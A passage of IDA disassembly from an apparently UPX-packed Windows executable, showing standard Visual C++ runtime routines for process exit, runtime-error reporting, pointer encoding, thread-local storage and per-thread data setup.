[eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_40DA4B: ; CODE XREF: sub_40D7BB+230j ; sub_40D7BB+265j mov ecx, [ebp+var_8] loc_40DA4E: ; CODE XREF: sub_40D7BB+18Cj test ecx, ecx jz short loc_40DA5D mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_40DA5D ; --------------------------------------------------------------------------- loc_40DA5A: ; CODE XREF: sub_40D7BB+20Cj mov ecx, [ebp+var_8] loc_40DA5D: ; CODE XREF: sub_40D7BB+295j ; sub_40D7BB+29Dj mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] lea edi, [ecx+1] mov [esi], edi test ecx, ecx jnz short loc_40DA93 cmp ebx, dword_42E878 jnz short loc_40DA93 mov ecx, [ebp+var_4] cmp ecx, dword_43028C jnz short loc_40DA93 and dword_42E878, 0 loc_40DA93: ; CODE XREF: sub_40D7BB+2BCj ; sub_40D7BB+2C4j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_40DA9B: ; CODE XREF: sub_40D7BB+D2j pop edi pop esi pop ebx leave retn sub_40D7BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DAA0 proc near ; CODE XREF: sub_40E0C8+4Ap ; sub_40E143+4Ap ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push edi mov edi, 3E8h loc_40DAAB: ; CODE XREF: sub_40DAA0+2Bj push edi call dword_41D080 ; Sleep push [ebp+arg_0] call dword_41D078 ; GetModuleHandleW add edi, 3E8h cmp edi, 0EA60h ja short loc_40DACD test eax, eax jz short loc_40DAAB loc_40DACD: ; CODE XREF: sub_40DAA0+27j pop edi pop ebp retn sub_40DAA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DAD0 proc near ; CODE XREF: UPX0:0040BC5Bp ; UPX0:0040BC81p ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp call sub_40DF83 push [ebp+arg_0] call sub_40DDD8 push dword_42A2D8 call sub_40E143 push 0FFh call eax add esp, 0Ch pop ebp retn sub_40DAD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DAF9 proc near ; CODE XREF: sub_40DB24+8p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push offset aMscoree_dll ; "mscoree.dll" call dword_41D078 ; GetModuleHandleW test eax, eax jz short loc_40DB22 push offset aCorexitprocess ; "CorExitProcess" push eax call dword_41D0D8 ; GetProcAddress test eax, eax jz short loc_40DB22 push [ebp+arg_0] call eax loc_40DB22: ; CODE XREF: sub_40DAF9+12j ; sub_40DAF9+22j pop ebp retn sub_40DAF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB24 proc near ; CODE XREF: sub_40AEA5+34p ; sub_40BB8E+20p ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push [ebp+arg_0] call sub_40DAF9 pop ecx push [ebp+arg_0] call dword_41D1C0 ; ExitProcess int 3 ; Trap to Debugger sub_40DB24 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40DB3C proc near ; CODE XREF: sub_40B734+Cp push 8 call sub_40CFA9 pop ecx retn sub_40DB3C endp ; =============== S U B R O U T I N E ======================================= sub_40DB45 proc near ; CODE XREF: sub_40B76Ap push 8 call sub_40CECF pop ecx retn sub_40DB45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB4E proc near ; CODE XREF: sub_40DB8F+57p ; sub_40DC14+D6p ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push esi mov esi, eax jmp short loc_40DB63 ; --------------------------------------------------------------------------- loc_40DB58: ; CODE XREF: sub_40DB4E+18j mov eax, [esi] test eax, eax jz short loc_40DB60 call eax loc_40DB60: ; CODE XREF: sub_40DB4E+Ej add esi, 4 loc_40DB63: ; CODE XREF: sub_40DB4E+8j cmp esi, [ebp+arg_0] jb short loc_40DB58 pop esi pop ebp retn sub_40DB4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB6B proc near ; CODE XREF: sub_40DB8F+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] xor eax, eax jmp short loc_40DB87 ; --------------------------------------------------------------------------- loc_40DB78: ; CODE XREF: sub_40DB6B+1Fj test eax, eax jnz short loc_40DB8C mov ecx, [esi] test ecx, ecx jz short loc_40DB84 call ecx loc_40DB84: ; CODE XREF: sub_40DB6B+15j add esi, 4 loc_40DB87: ; CODE XREF: sub_40DB6B+Bj cmp esi, [ebp+arg_4] jb short loc_40DB78 loc_40DB8C: ; CODE XREF: sub_40DB6B+Fj pop esi pop ebp retn sub_40DB6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB8F proc near ; CODE XREF: UPX0:0040BC99p var_4 = dword ptr -4 arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp cmp off_424D00, 0 jz short loc_40DBB6 push offset off_424D00 call sub_4100F0 pop ecx test eax, eax jz short loc_40DBB6 push [ebp+arg_0] call off_424D00 pop ecx loc_40DBB6: ; CODE XREF: sub_40DB8F+Cj ; sub_40DB8F+1Bj call sub_41268C push offset dword_41D410 push offset dword_41D3F8 call sub_40DB6B pop ecx pop ecx test eax, eax jnz short loc_40DC12 push offset byte_40FCAB call sub_40B770 mov eax, offset dword_41D3DC mov [esp+4+var_4], offset dword_41D3F4 call sub_40DB4E cmp dword_430274, 0 pop ecx jz short loc_40DC10 push offset dword_430274 call sub_4100F0 pop ecx test eax, eax jz short loc_40DC10 push 0 push 2 push 0 call dword_430274 loc_40DC10: ; CODE XREF: sub_40DB8F+64j ; sub_40DB8F+73j xor eax, eax loc_40DC12: ; CODE XREF: sub_40DB8F+3Fj pop ebp retn sub_40DB8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC14 proc near ; CODE XREF: sub_40DD40+Cp ; sub_40DD56+Cp ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 0040DD3A SIZE 00000006 BYTES push 18h push offset dword_426900 call __SEH_prolog4 push 8 call sub_40CFA9 pop ecx and [ebp+ms_exc.disabled], 0 xor ebx, ebx inc ebx cmp dword_42E8AC, ebx jz loc_40DD00 mov dword_42E8A8, ebx mov al, byte ptr [ebp+arg_8] mov byte_42E8A4, al cmp [ebp+arg_4], 0 jnz loc_40DCF0 push dword_43026C call sub_40E143 pop ecx mov edi, eax mov [ebp+var_28], edi test edi, edi jz short loc_40DCE0 push dword_430268 call sub_40E143 pop ecx mov esi, eax mov [ebp+var_24], esi mov [ebp+var_1C], edi mov [ebp+var_20], esi loc_40DC7F: ; CODE XREF: sub_40DC14+7Cj ; sub_40DC14+CAj sub esi, 4 mov [ebp+var_24], esi cmp esi, edi jb short loc_40DCE0 call sub_40E13A cmp [esi], eax jz short loc_40DC7F cmp esi, edi jb short loc_40DCE0 push dword ptr [esi] call sub_40E143 mov edi, eax call sub_40E13A mov [esi], eax call edi ; RtlAllocateHeap push dword_43026C call sub_40E143 mov edi, eax push dword_430268 call sub_40E143 add esp, 0Ch cmp [ebp+var_1C], edi jnz short loc_40DCCD cmp [ebp+var_20], eax jz short loc_40DCDB loc_40DCCD: ; CODE XREF: sub_40DC14+B2j mov [ebp+var_1C], edi mov [ebp+var_28], edi mov [ebp+var_20], eax mov esi, eax mov [ebp+var_24], esi loc_40DCDB: ; CODE XREF: sub_40DC14+B7j mov edi, [ebp+var_28] jmp short loc_40DC7F ; --------------------------------------------------------------------------- loc_40DCE0: ; CODE XREF: sub_40DC14+52j ; sub_40DC14+73j ... push offset dword_41D420 mov eax, offset dword_41D414 call sub_40DB4E pop ecx loc_40DCF0: ; CODE XREF: sub_40DC14+39j push offset dword_41D428 mov eax, offset dword_41D424 call sub_40DB4E pop ecx loc_40DD00: ; CODE XREF: sub_40DC14+21j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40DD2B cmp [ebp+arg_8], 0 jnz short loc_40DD3A mov dword_42E8AC, ebx push 8 call sub_40CECF pop ecx push [ebp+arg_0] call sub_40DB24 loc_40DD28: ; DATA XREF: UPX0:00426918o xor ebx, ebx inc ebx sub_40DC14 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40DD2B proc near ; CODE XREF: sub_40DC14+F3p cmp dword ptr [ebp+10h], 0 jz short locret_40DD39 push 8 call sub_40CECF pop ecx locret_40DD39: ; CODE XREF: sub_40DD2B+4j retn sub_40DD2B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40DC14 loc_40DD3A: ; CODE XREF: sub_40DC14+FCj call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_40DC14 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DD40 proc near ; CODE XREF: UPX0:0040BCD3p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push 0 push 0 push [ebp+arg_0] call sub_40DC14 add esp, 0Ch pop ebp retn sub_40DD40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DD56 proc near ; CODE XREF: UPX0:0040BD06p ; sub_4136C2+D9p ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push 0 push 1 push [ebp+arg_0] call sub_40DC14 add esp, 0Ch pop ebp retn sub_40DD56 endp ; =============== S U B R O U T I N E ======================================= sub_40DD6C proc near ; CODE XREF: UPX0:loc_40BCD8p push 1 push 0 push 0 call sub_40DC14 add esp, 0Ch retn sub_40DD6C endp ; =============== S U B R O U T I N E ======================================= sub_40DD7B proc near ; CODE XREF: UPX0:loc_40BD0Bp push 1 push 1 push 0 call sub_40DC14 add esp, 0Ch retn sub_40DD7B endp ; =============== S U B R O U T I N E ======================================= sub_40DD8A proc near ; CODE XREF: sub_40E4D8+CDp mov edi, edi push esi call sub_40E13A mov esi, eax push esi call sub_40DFBC push esi call sub_4135F1 push esi call sub_40B11E push esi call sub_413881 push esi call sub_413872 push esi call sub_413660 push esi call nullsub_1 push esi call sub_40E0AF push offset sub_40DD56 call sub_40E0C8 add esp, 24h mov dword_42A2D8, eax pop esi retn sub_40DD8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DDD8 proc near ; CODE XREF: sub_40AEA5+2Ap ; sub_40BB8E+16p ... var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push ecx push ecx push ebx mov ebx, [ebp+arg_0] push esi push edi xor esi, esi xor edi, edi mov [ebp+var_4], edi loc_40DDEC: ; CODE XREF: sub_40DDD8+24j cmp ebx, dword_42A2E0[edi*8] jz short loc_40DDFE inc edi mov [ebp+var_4], edi cmp edi, 17h jb short loc_40DDEC loc_40DDFE: ; CODE XREF: sub_40DDD8+1Bj cmp edi, 17h jnb loc_40DF7E push 3 call sub_413B22 pop ecx cmp eax, 1 jz loc_40DF4C push 3 call sub_413B22 pop ecx test eax, eax jnz short loc_40DE31 cmp dword_42A030, 1 jz loc_40DF4C loc_40DE31: ; CODE XREF: sub_40DDD8+4Aj cmp ebx, 0FCh jz loc_40DF7E push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " mov ebx, 314h push ebx mov edi, offset dword_42E8B0 push edi call sub_40CD95 add esp, 0Ch test eax, eax jz short loc_40DE67 push esi push esi push esi push esi push esi call sub_40B12D add esp, 14h loc_40DE67: ; CODE XREF: sub_40DDD8+80j push 104h mov esi, offset byte_42E8C9 push esi push 0 mov byte_42E9CD, 0 call dword_41D180 ; GetModuleFileNameA test eax, eax jnz short loc_40DEAB push offset aProgramNameUnk ; "<program name unknown>" push 2FBh push esi call sub_40CD95 add esp, 0Ch test eax, eax jz short loc_40DEAB xor eax, eax push eax push eax push eax push eax push eax call sub_40B12D add esp, 14h loc_40DEAB: ; CODE XREF: sub_40DDD8+ABj ; sub_40DDD8+C2j push esi call sub_40BFB0 inc eax pop ecx cmp eax, 3Ch jbe short loc_40DEF0 push esi call sub_40BFB0 sub esi, 3Bh add eax, esi push 3 mov ecx, offset dword_42EBC4 push offset a___ ; "..." sub ecx, eax push ecx push eax call sub_413A6D add esp, 14h test eax, eax jz short loc_40DEF0 xor esi, esi push esi push esi push esi push esi push esi call sub_40B12D add esp, 14h jmp short loc_40DEF2 ; --------------------------------------------------------------------------- loc_40DEF0: ; CODE XREF: sub_40DDD8+DEj ; sub_40DDD8+105j xor esi, esi loc_40DEF2: ; CODE XREF: sub_40DDD8+116j push offset asc_41DB60 ; "\n\n" push ebx push edi call sub_4139F9 add esp, 0Ch test eax, eax jz short loc_40DF12 push esi push esi push esi push esi push esi call sub_40B12D add esp, 14h loc_40DF12: ; CODE XREF: sub_40DDD8+12Bj mov eax, [ebp+var_4] push off_42A2E4[eax*8] push ebx push edi call sub_4139F9 add esp, 0Ch test eax, eax jz short loc_40DF37 push esi push esi push esi push esi push esi call sub_40B12D add esp, 14h loc_40DF37: ; CODE XREF: sub_40DDD8+150j push 12010h push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push edi call sub_413890 add esp, 0Ch jmp short loc_40DF7E ; --------------------------------------------------------------------------- loc_40DF4C: ; CODE XREF: sub_40DDD8+3Aj ; sub_40DDD8+53j push 0FFFFFFF4h call dword_41D184 ; GetStdHandle mov ebx, eax cmp ebx, esi jz short loc_40DF7E cmp ebx, 0FFFFFFFFh jz short loc_40DF7E push 0 lea eax, [ebp+var_8] push eax lea esi, ds:42A2E4h[edi*8] push dword ptr [esi] call sub_40BFB0 pop ecx push eax push dword ptr [esi] push ebx call dword_41D188 ; WriteFile loc_40DF7E: ; CODE XREF: sub_40DDD8+29j ; sub_40DDD8+5Fj ... pop edi pop esi pop ebx leave retn sub_40DDD8 endp ; =============== S U B R O U T I N E ======================================= sub_40DF83 proc near ; CODE XREF: sub_40AEA5+23p ; sub_40BB8E+Ep ... push 3 call sub_413B22 pop ecx cmp eax, 1 jz short loc_40DFA5 push 3 call sub_413B22 pop ecx test eax, eax jnz short locret_40DFBB cmp dword_42A030, 1 jnz short locret_40DFBB loc_40DFA5: ; CODE XREF: sub_40DF83+Bj push 0FCh call sub_40DDD8 push 0FFh call sub_40DDD8 pop ecx pop ecx locret_40DFBB: ; CODE XREF: sub_40DF83+17j ; sub_40DF83+20j retn sub_40DF83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DFBC proc near ; CODE XREF: sub_40DD8A+Bp arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword_42EBC4, eax pop ebp retn sub_40DFBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DFCB proc near ; CODE XREF: sub_40AEA5+8Dp ; sub_40AEA5+B4p ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push dword_42EBC4 call sub_40E143 pop ecx test eax, eax jz short loc_40DFEF push [ebp+arg_0] call eax ; dword_430290 pop ecx test eax, eax jz short loc_40DFEF xor eax, eax inc eax pop ebp retn ; --------------------------------------------------------------------------- loc_40DFEF: ; CODE XREF: sub_40DFCB+13j ; sub_40DFCB+1Dj xor eax, eax pop ebp retn sub_40DFCB endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40E000 proc near ; CODE XREF: sub_407CD3+Dp ; sub_40809A+5p ... push ecx lea ecx, [esp+4] sub ecx, eax sbb eax, eax not eax and ecx, eax mov eax, esp and eax, 0FFFFF000h loc_40E014: ; CODE XREF: sub_40E000+29j cmp ecx, eax jb short loc_40E022 mov eax, ecx pop ecx xchg eax, esp mov eax, [eax] mov [esp+0], eax retn ; --------------------------------------------------------------------------- loc_40E022: ; CODE XREF: sub_40E000+16j sub eax, 1000h test [eax], eax jmp short loc_40E014 sub_40E000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E02B proc near ; CODE XREF: sub_40B05D:loc_40B0A4p ; sub_40E064:loc_40E072j ... ms_exc = CPPEH_RECORD ptr -18h push 8 push offset dword_426920 call __SEH_prolog4 call sub_40E38F mov eax, [eax+78h] test eax, eax jz short loc_40E059 and [ebp+ms_exc.disabled], 0 call eax jmp short loc_40E052 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] loc_40E052: ; CODE XREF: sub_40E02B+1Ej mov [ebp+ms_exc.disabled], 0FFFFFFFEh loc_40E059: ; CODE XREF: sub_40E02B+16j call sub_413B6D call __SEH_epilog4 retn sub_40E02B endp ; =============== S U B R O U T I N E ======================================= sub_40E064 proc near ; CODE XREF: sub_4104C4+23p call sub_40E38F mov eax, [eax+7Ch] test eax, eax jz short loc_40E072 call eax loc_40E072: ; CODE XREF: sub_40E064+Aj jmp sub_40E02B sub_40E064 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E077 proc near ; CODE XREF: sub_40C2F3+1Ep ; sub_40C2F3:loc_40C356p ... ms_exc = CPPEH_RECORD ptr -18h push 8 push offset dword_426940 call __SEH_prolog4 push dword_42EBCC call sub_40E143 pop ecx test eax, eax jz short loc_40E0A9 and [ebp+ms_exc.disabled], 0 call eax jmp short loc_40E0A2 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] loc_40E0A2: ; CODE XREF: sub_40E077+22j mov [ebp+ms_exc.disabled], 0FFFFFFFEh loc_40E0A9: ; CODE XREF: sub_40E077+1Aj call sub_40E02B int 3 ; Trap to Debugger sub_40E077 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E0AF proc near ; CODE XREF: sub_40DD8A+35p push offset sub_40E02B call sub_40E0C8 pop ecx mov dword_42EBCC, eax retn sub_40E0AF endp ; =============== S U B R O U T I N E ======================================= sub_40E0C0 proc near ; CODE XREF: sub_40B12D+103p ; sub_40B255+1Ap ... and dword_430260, 0 retn sub_40E0C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E0C8 proc near ; CODE XREF: sub_40B649+89p ; sub_40B649+97p ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push esi push dword_42A3A4 mov esi, dword_41D17C call esi ; dword_41D17C test eax, eax jz short loc_40E101 mov eax, dword_42A3A0 cmp eax, 0FFFFFFFFh jz short loc_40E101 push eax push dword_42A3A4 call esi ; dword_41D17C call eax ; dword_42A3A0 test eax, eax jz short loc_40E101 mov eax, [eax+1F8h] jmp short loc_40E128 ; --------------------------------------------------------------------------- loc_40E101: ; CODE XREF: sub_40E0C8+16j ; sub_40E0C8+20j ... mov esi, offset off_41DBAC push esi call dword_41D078 ; GetModuleHandleW test eax, eax jnz short loc_40E11C push esi call sub_40DAA0 pop ecx test eax, eax jz short loc_40E134 loc_40E11C: ; CODE XREF: sub_40E0C8+47j push offset aEncodepointer ; "EncodePointer" push eax call dword_41D0D8 ; GetProcAddress loc_40E128: ; CODE XREF: sub_40E0C8+37j test eax, eax jz short loc_40E134 push [ebp+arg_0] call eax mov [ebp+arg_0], eax loc_40E134: ; CODE XREF: sub_40E0C8+52j ; sub_40E0C8+62j mov eax, [ebp+arg_0] pop esi pop ebp retn sub_40E0C8 endp ; =============== S U B R O U T I N E ======================================= sub_40E13A proc near ; CODE XREF: sub_40DC14+75p ; sub_40DC14+8Bp ... push 0 call sub_40E0C8 pop ecx retn sub_40E13A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E143 proc near ; CODE XREF: sub_40B255+Bp ; sub_40B649+Fp ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push esi push dword_42A3A4 mov esi, dword_41D17C call esi ; dword_41D17C test eax, eax jz short loc_40E17C mov eax, dword_42A3A0 cmp eax, 0FFFFFFFFh jz short loc_40E17C push eax push dword_42A3A4 call esi ; dword_41D17C call eax ; dword_42A3A0 test eax, eax jz short loc_40E17C mov eax, [eax+1FCh] jmp short loc_40E1A3 ; --------------------------------------------------------------------------- loc_40E17C: ; CODE XREF: sub_40E143+16j ; sub_40E143+20j ... mov esi, offset off_41DBAC push esi call dword_41D078 ; GetModuleHandleW test eax, eax jnz short loc_40E197 push esi call sub_40DAA0 pop ecx test eax, eax jz short loc_40E1AF loc_40E197: ; CODE XREF: sub_40E143+47j push offset aDecodepointer ; "DecodePointer" push eax call dword_41D0D8 ; GetProcAddress loc_40E1A3: ; CODE XREF: sub_40E143+37j test eax, eax jz short loc_40E1AF push [ebp+arg_0] call eax mov [ebp+arg_0], eax loc_40E1AF: ; CODE XREF: sub_40E143+52j ; sub_40E143+62j mov eax, [ebp+arg_0] pop esi pop ebp retn sub_40E143 endp ; =============== S U B R O U T I N E ======================================= sub_40E1B5 proc near ; DATA XREF: sub_40E4D8+93o call dword_41D178 ; TlsAlloc retn 4 sub_40E1B5 endp ; =============== S U B R O U T I N E ======================================= sub_40E1BE proc near ; CODE XREF: sub_40E316+12p mov edi, edi push esi push dword_42A3A4 call dword_41D17C ; TlsGetValue mov esi, eax test esi, esi jnz short loc_40E1EE push dword_42EBD4 call sub_40E143 pop ecx mov esi, eax push esi push dword_42A3A4 call dword_41D174 ; TlsSetValue loc_40E1EE: ; CODE XREF: sub_40E1BE+13j mov eax, esi pop esi retn sub_40E1BE endp ; =============== S U B R O U T I N E ======================================= sub_40E1F2 proc near ; CODE XREF: sub_40E4D8:loc_40E65Bp ; FUNCTION CHUNK AT 0040CE78 SIZE 00000057 BYTES mov eax, dword_42A3A0 cmp eax, 0FFFFFFFFh jz short loc_40E212 push eax push dword_42EBDC call sub_40E143 pop ecx call eax ; dword_42A3A0 or dword_42A3A0, 0FFFFFFFFh loc_40E212: ; CODE XREF: sub_40E1F2+8j mov eax, dword_42A3A4 cmp eax, 0FFFFFFFFh jz short loc_40E22A push eax call dword_41D170 ; TlsFree or dword_42A3A4, 0FFFFFFFFh loc_40E22A: ; CODE XREF: sub_40E1F2+28j jmp loc_40CE78 sub_40E1F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E22F proc near ; CODE XREF: sub_40E316+4Fp ; sub_40E4D8+16Bp var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 0Ch push offset dword_426960 call __SEH_prolog4 mov esi, offset off_41DBAC push esi call dword_41D078 ; GetModuleHandleW test eax, eax jnz short loc_40E252 push esi call sub_40DAA0 pop ecx loc_40E252: ; CODE XREF: sub_40E22F+1Aj mov [ebp+var_1C], eax mov esi, [ebp+arg_0] mov dword ptr [esi+5Ch], offset dword_41DC28 xor edi, edi inc edi mov [esi+14h], edi test eax, eax jz short loc_40E28D push offset aEncodepointer ; "EncodePointer" push eax mov ebx, dword_41D0D8 call ebx ; dword_41D0D8 mov [esi+1F8h], eax push offset aDecodepointer ; "DecodePointer" push [ebp+var_1C] call ebx ; dword_41D0D8 mov [esi+1FCh], eax loc_40E28D: ; CODE XREF: sub_40E22F+38j mov [esi+70h], edi mov byte ptr [esi+0C8h], 43h mov byte ptr [esi+14Bh], 43h mov dword ptr [esi+68h], offset dword_42A6D0 push 0Dh call sub_40CFA9 pop ecx and [ebp+ms_exc.disabled], 0 push dword ptr [esi+68h] call dword_41D21C ; InterlockedIncrement mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40E304 push 0Ch call sub_40CFA9 pop ecx mov [ebp+ms_exc.disabled], edi mov eax, [ebp+arg_4] mov [esi+6Ch], eax test eax, eax jnz short loc_40E2E3 mov eax, off_42ACD8 mov [esi+6Ch], eax loc_40E2E3: ; CODE XREF: sub_40E22F+AAj push dword ptr [esi+6Ch] call sub_412329 pop ecx mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40E30D call __SEH_epilog4 retn sub_40E22F endp ; =============== S U B R O U T I N E ======================================= sub_40E2FE proc near ; DATA XREF: UPX0:00426978o xor edi, edi inc edi mov esi, [ebp+8] sub_40E2FE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E304 proc near ; CODE XREF: sub_40E22F+92p push 0Dh call sub_40CECF pop ecx retn sub_40E304 endp ; =============== S U B R O U T I N E ======================================= sub_40E30D proc near ; CODE XREF: sub_40E22F+C4p ; DATA XREF: UPX0:00426984o push 0Ch call sub_40CECF pop ecx retn sub_40E30D endp ; =============== S U B R O U T I N E ======================================= sub_40E316 proc near ; CODE XREF: sub_40C862p sub_40C875p ... mov edi, edi push esi push edi call dword_41D1D8 ; RtlGetLastWin32Error push dword_42A3A0 mov edi, eax call sub_40E1BE call eax mov esi, eax test esi, esi jnz short loc_40E383 push 214h push 1 call sub_40EF6F mov esi, eax pop ecx pop ecx test esi, esi jz short loc_40E383 push esi push dword_42A3A0 push dword_42EBD8 call sub_40E143 pop ecx call eax test eax, eax jz short loc_40E37A push 0 push esi call sub_40E22F pop ecx pop ecx call dword_41D1C4 ; GetCurrentThreadId or dword ptr [esi+4], 0FFFFFFFFh mov [esi], eax jmp short loc_40E383 ; --------------------------------------------------------------------------- loc_40E37A: ; CODE XREF: sub_40E316+4Aj push esi call sub_40ADC8 pop ecx xor esi, esi loc_40E383: ; CODE XREF: sub_40E316+1Dj ; sub_40E316+31j ... push edi call dword_41D1D0 ; RtlSetLastWin32Error pop edi mov eax, esi pop esi retn sub_40E316 endp ; =============== S U B R O U T I N E ======================================= sub_40E38F proc near ; CODE XREF: sub_40C17D+8Bp ; sub_40C368+Ep ... mov edi, edi push esi call sub_40E316 mov esi, eax test esi, esi jnz short loc_40E3A5 push 10h call sub_40DAD0 pop ecx loc_40E3A5: ; CODE XREF: sub_40E38F+Cj mov eax, esi pop esi retn sub_40E38F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E3A9 proc near ; DATA XREF: sub_40E4D8+11Eo ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 8 push offset dword_426988 call __SEH_prolog4 mov esi, [ebp+arg_0] test esi, esi jz loc_40E4B8 mov eax, [esi+24h] test eax, eax jz short loc_40E3CE push eax call sub_40ADC8 pop ecx loc_40E3CE: ; CODE XREF: sub_40E3A9+1Cj mov eax, [esi+2Ch] test eax, eax jz short loc_40E3DC push eax call sub_40ADC8 pop ecx loc_40E3DC: ; CODE XREF: sub_40E3A9+2Aj mov eax, [esi+34h] test eax, eax jz short loc_40E3EA push eax call sub_40ADC8 pop ecx loc_40E3EA: ; CODE XREF: sub_40E3A9+38j mov eax, [esi+3Ch] test eax, eax jz short loc_40E3F8 push eax call sub_40ADC8 pop ecx loc_40E3F8: ; CODE XREF: sub_40E3A9+46j mov eax, [esi+40h] test eax, eax jz short loc_40E406 push eax call sub_40ADC8 pop ecx loc_40E406: ; CODE XREF: sub_40E3A9+54j mov eax, [esi+44h] test eax, eax jz short loc_40E414 push eax call sub_40ADC8 pop ecx loc_40E414: ; CODE XREF: sub_40E3A9+62j mov eax, [esi+48h] test eax, eax jz short loc_40E422 push eax call sub_40ADC8 pop ecx loc_40E422: ; CODE XREF: sub_40E3A9+70j mov eax, [esi+5Ch] cmp eax, offset dword_41DC28 jz short loc_40E433 push eax call sub_40ADC8 pop ecx loc_40E433: ; CODE XREF: sub_40E3A9+81j push 0Dh call sub_40CFA9 pop ecx and [ebp+ms_exc.disabled], 0 mov edi, [esi+68h] test edi, edi jz short loc_40E460 push edi call dword_41D218 ; InterlockedDecrement test eax, eax jnz short loc_40E460 cmp edi, offset dword_42A6D0 jz short loc_40E460 push edi call sub_40ADC8 pop ecx loc_40E460: ; CODE XREF: sub_40E3A9+9Bj ; sub_40E3A9+A6j ... mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40E4C3 push 0Ch call sub_40CFA9 pop ecx mov [ebp+ms_exc.disabled], 1 mov edi, [esi+6Ch] test edi, edi jz short loc_40E4A5 push edi call sub_4123B8 pop ecx cmp edi, off_42ACD8 jz short loc_40E4A5 cmp edi, offset dword_42AC00 jz short loc_40E4A5 cmp dword ptr [edi], 0 jnz short loc_40E4A5 push edi call sub_4121E0 pop ecx loc_40E4A5: ; CODE XREF: sub_40E3A9+D7j ; sub_40E3A9+E6j ... mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40E4CF push esi call sub_40ADC8 pop ecx loc_40E4B8: ; CODE XREF: sub_40E3A9+11j call __SEH_epilog4 retn 4 sub_40E3A9 endp ; =============== S U B R O U T I N E ======================================= sub_40E4C0 proc near ; DATA XREF: UPX0:004269A0o mov esi, [ebp+8] sub_40E4C0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E4C3 proc near ; CODE XREF: sub_40E3A9+BEp push 0Dh call sub_40CECF pop ecx retn sub_40E4C3 endp ; =============== S U B R O U T I N E ======================================= sub_40E4CC proc near ; DATA XREF: UPX0:004269ACo mov esi, [ebp+8] sub_40E4CC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E4CF proc near ; CODE XREF: sub_40E3A9+103p push 0Ch call sub_40CECF pop ecx retn sub_40E4CF endp ; =============== S U B R O U T I N E ======================================= sub_40E4D8 proc near ; CODE XREF: UPX0:loc_40BC37p mov edi, edi push esi push edi mov 